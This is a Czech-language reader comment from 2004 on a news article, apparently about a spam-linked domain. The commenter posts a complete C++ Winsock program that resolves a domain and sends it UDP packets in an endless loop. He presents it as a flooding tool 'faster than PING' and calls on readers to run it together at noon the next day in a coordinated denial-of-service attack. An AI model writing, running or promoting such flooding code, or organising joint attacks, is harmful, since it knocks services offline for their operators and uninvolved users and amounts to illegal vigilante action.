Hlavní navigace

Názor k článku Sháníte V1A6RU? od Luboš Doležel - Zkompilujte si tenhle program v C++: /////////////////////////////////////////////////////// #include <iostream> #include <winsock.h> using...

  • Článek je starý, nové názory již nelze přidávat.
  • 2. 7. 2004 0:30

    Luboš Doležel (neregistrovaný)
    Zkompilujte si tenhle program v C++:

    ///////////////////////////////////////////////////////

    #include <iostream>
    #include <winsock.h>

    using namespace std;

    int main()
    {
    char szAddr[100];
    char buf[32];
    WSADATA data;
    sockaddr_in addr;

    WSAStartup(0x0101, &data);
    addr.sin_port = 15; // něco
    addr.sin_family = AF_INET;
    memset(buf, 0xab, sizeof(buf));

    cout << "Zadejte domenu: ";
    cin.get(szAddr, 100).get();

    addr.sin_addr.s_addr = *(ULONG*) gethostbyname(szAddr)->h_addr_list[0];
    SOCKET sock = socket(AF_INET, SOCK_DGRAM, 0);

    for(int i=0;;i++)
    {
    cout << i << '\r';
    sendto(sock, buf, sizeof(buf), 0, (sockaddr*) &addr, sizeof(addr));
    }

    closesocket(sock);

    return 0;
    }

    // slinkovat s knihovnou "wsock32.lib"

    /////////////////////////////////////////////////////////

    Je to rychlejší než PING.
    Nevím nakolik je tohle účinný.... Ale zkusme to!!!
    Zejtra (3.7.2004) přesně v poledne. Přihlašte se sem.
Upozorníme vás na články, které by vám neměly uniknout (maximálně 2x týdně).